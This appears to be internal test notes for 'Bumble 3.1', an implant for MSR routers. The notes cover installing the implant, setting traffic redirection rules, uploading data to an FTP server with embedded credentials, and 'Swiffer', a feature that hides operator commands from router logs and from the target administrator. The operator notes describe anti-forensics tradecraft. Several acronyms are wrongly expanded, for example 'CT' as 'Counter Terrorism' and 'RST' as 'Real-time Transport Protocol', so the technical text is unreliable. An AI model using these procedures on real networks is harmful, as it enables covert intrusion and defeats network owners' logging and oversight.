Bumble 3.1 Test Notes
Test Summary
- Downloaded and installed COGComputer Operations Group ICON Debian 8.1 image.
- CT 2.7 which was delieved is compatible with current ICON image.
- MTU settings
- CT MTUMaximum Transmission Unit setting can not go below 120 bytes.
- Egress from Atk setting delaysim MTU<=108 and CTCounter Terrorism MTU<128 allows CTCounter Terrorism to connect, but states "currenct packet size restrictions are incompatible with selected Score protocol".
- Ingress to Atk MTU<=508Bytes.
- Score requires a minimum MTUMaximum Transmission Unit of 480Bytes for return traffic (from implant to CTCounter Terrorism).
- Flux will not be used with this tool so it will not be tested with flux.

- Response should be from Bumble webserver #3 - XXX.XXX.X.XX (GB)
- Add redir rule: redir create 192.168.254.6 255.255.255.255 0 0 XXX.XXX.X.XX (GB) 255.255.255.255 0 0 any XXX.XXX.XX.X (EU-MAP-5[US]) 0 XX.XX.XXX.XX (EARTHLINKBUSINESS-BLK[US]) 0 0 -en

- To futher confirm, check transtable using the command "tp showtrans" and take a snapshow of the first 10 entries.
- Wait 10 seconds and check the transtable again. Compare the first 10 entries with the snapshot you took. The entries should be unique. With the ixia running, enough entries should be created in a few seconds to cause the transtable to cycle.
- Successfully tested with Bumble 3.1 on 10/30/2015 (w/o latency).
- Swiffer - Log Suppression
- Reboot DUT, install implant, establish comms via CT.
- Insure swiffer is inactive: tp swiffer show
- Telnet to MSR and issue these commands:
- display this
- display users
- display tcp
- display logbuffer reverse
- display history-command all
- These commands should appear in the logbuffer and history command
- Activate swiffer at the CTCounter Terrorism prompt
- tp swiffer activate
- tp swiffer show
- At the MSR console and telnet prompt:
- Confirm info-center is disabled: display info-center
- display clock
- display ftp client source
- display interface brief
- display ip routing-table
- At the MSR console, issue thes commands
- Confirm there was no console message about the user connecting via telnet
- Confirm recent commands were not logged to log buffer: display logbuffer reverse
- Confirm recent commands are logged to history: display history-command all
- Disabling the info-center will not disable the command history logging. This is the reason for a snapshot of the history command file to be saved. The saved history file will overwrite this history when Swiffer is deactivated.
- This will also disable logging if a target admin issues commands. There is no way to distinguish who is issuing the command.
- Deactivate Swiffer using CT. Deactivating Swiffer restores the snapshot to the command history
- tp swiffer deactivate
- Wait 5 seconds and confirm swiffer is deactivated: tp swiffer show
- At the MSR console and telnet prompt, confirm logs were removed
- display logbuffer reverse
- display history-command all
- Successfully tested with Bumble 3.1 on 10/30/2015 (w/o latency).
- Reboot DUT, install implant, establish comms via CT.
- Swiffer - automatic deactivation
- At console: reset logbuffer
- ICON: Note the time using the 'date' command
- ICON: tp swiffer activate -t 300
- Wait 10 seconds
- ICON: tp swiffer show
- should be activated
- ICON: telnet 192.168.168.5
- ICON: display info-center
- ICON: dis this
- ICON: dis users
- At console: dis ip int brief
- At console: display history-command all
- display logbuffer reverse
- Wait until 5 minutes have expired.
- Ensure logs have been removed and swiffer deactivated
- At console: display history-command all
- At console: display logbuffer reverse
- ICON: tp swiffer show
- should be inactive
- Successfully tested with Bumble 3.1 on 10/30/2015 (w/o latency)
- Redir - Disable all rules then re-enable all rules
- Disable all redir rules: redir disable 0

- Save transtable again
- tp savetrans ftp://administrator:password@XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])/transtable.bin -td 30
- Confirm transtable exists on FTPFile Transfer Protocol server and then delete.

- Save transtable to filesystem if file already exists
- Repeat previous steps to save transtable to filesystem, but do not delete file.
- Save file again. Issue command "dir /all cfa0:/logfile"File time should be updated to the current time indicating file was re-written.
- Successfully tested with Bumble 3.1 on 11/4/2015 (w/o latency) and 11/4/2015 (w/ latency).
- Install PBD and Establish Comms
- Redirection Test - ACLAccess Control List circumvention
- Not plausible with current implant hook point
- Redirection Test (Lack of route on downstream router)

- ICON: dis ip rout
- Console: sys
- Console: info-center enable
- ICON: dis users
- CT: tp swiffer deactivate
- Console: dis logbuffer reverse
- Console: dis history-command all
- Once info-center is enabled, commands issues via telnet will appear in the logbuffer (dis logbuffer reverse). It will not appear in the 'dis history-command all' output.
- Swiffer successfully deactivated. Info-center remained off (dis info-center).
- Successfully tested with Bumble 3.1 on 11/2/2015 (w/o latency).
- Swiffer - Uninstall
- Look for remnants ("comsn" and "telnetd")
- Survey and Redirection used simultaneously
- This is NOT recommended, so it will not be tested.
- Forensics Test - Inspect Netflow on SolarWinds
- Inspected multiple times and looks normal.
- Ad hoc test - ICON disconnected during PBD (patch) installation
- telnet 192.168.168.5 (admin/admin)
ftp XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US]) (administrator/password)
- ftp patch file to MSR.
- bin

- quit
- dir cfa0: !Confirm patch.bin was copied
- install activate patch cfa0:/patch.bin slot 0
- Before the patch completes, reboot the ICON VM.
- BUM-3
- Ad hoc test - Multiple reconnects to implant via CT
- Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/6/2015 (w/ latency).
- Reconfigured interface
- With implant installed, configure another gigabit interface.
- Expect no observables
- Successfully tested with Bumble 3.1 on 10/30/2015 (w/o latency).
- Install PBD when PBD is already installed
- Successfully tested with Bumble 3.1 on 10/28/2015 (w/o latency) and 11/4/2015 (w latency).
- Re-attack after PBD already installed
- Reboot DUT, install implant, establish comms via CT, and run all tests: date && sudo time ./reboot_target.exp && sudo ./install_and_run.sh
- Disconnect from CTCounter Terrorism session.
- Re-install implant and re-run all tests: sudo ./install_and_run.sh
- Inspect 2nd round of test results to ensure tests were passed. Only one instance of PBD is present.
- dis proc cpu slot 0 | include comsn
- dis proc cpu slot 2 | include telnetd
- dis process memory slot 2 | include telnetd
- Successfully tested with Bumble 3.1 on 10/30/2015 (w/o latency) and 11/4/2015 (w latency).
- Forensics Tests
- Inspect pcap
- UDP packets appear normal
- Most TCPTransport Control Protocol appears normal.
- Telnet connections cause a lot of red to appear, likely due to the unreliability of the connection (delay sim is running). Telnet connections also receive a RSTReal-time Transport Protocol from the MSR periodically. It seems the MSR (server) issues the RSTReal-time Transport Protocol packet to close the telnet session.
- Inspect pcap
- Performance testing (IXIA)
- Looked through IXIA report and SolarWinds graphs. All interfaces seem normal.
- Check Cisco 3825 (OSPFOpen Shortest Path First neighbor) for any anomolies
- Checked 11/5/2015
Operator Notes
- Do not use survey and redirection at the same time.
- Do not save transtable to the filesystem. Only save to an ftp server.
- Disabling logging (using swiffer) will also disable logging for a target admin.
- swiffer will not hide telnet connection from "show users" output.
- Commands execute while swiffer is enabled will not be removed from the history (dis history-command all) until swiffer is deactivated. They will not appear in the log buffer at all (dis logbuffer). Info-Center will also be disabled as long as swiffer is active. If info-center is re-enabled (ie. by an admin), commands issues via telnet will appear in the logbuffer (dis logbuffer reverse). It will not appear in the 'dis history-command all' output.
- Add TP note about using Nmap with Score.
- How do we clear a kernel exception log should one occur?
- Once swiffer is stopped, it can not be restarted unless you re-install PBD.
- "comsn" on the MPU and "telnetd" on the SPU are the swiffer process. If swiffer is removed, the PBD remains installed but these processes will no longer appear. Swiffer is required to us the "tp savetrans" command.
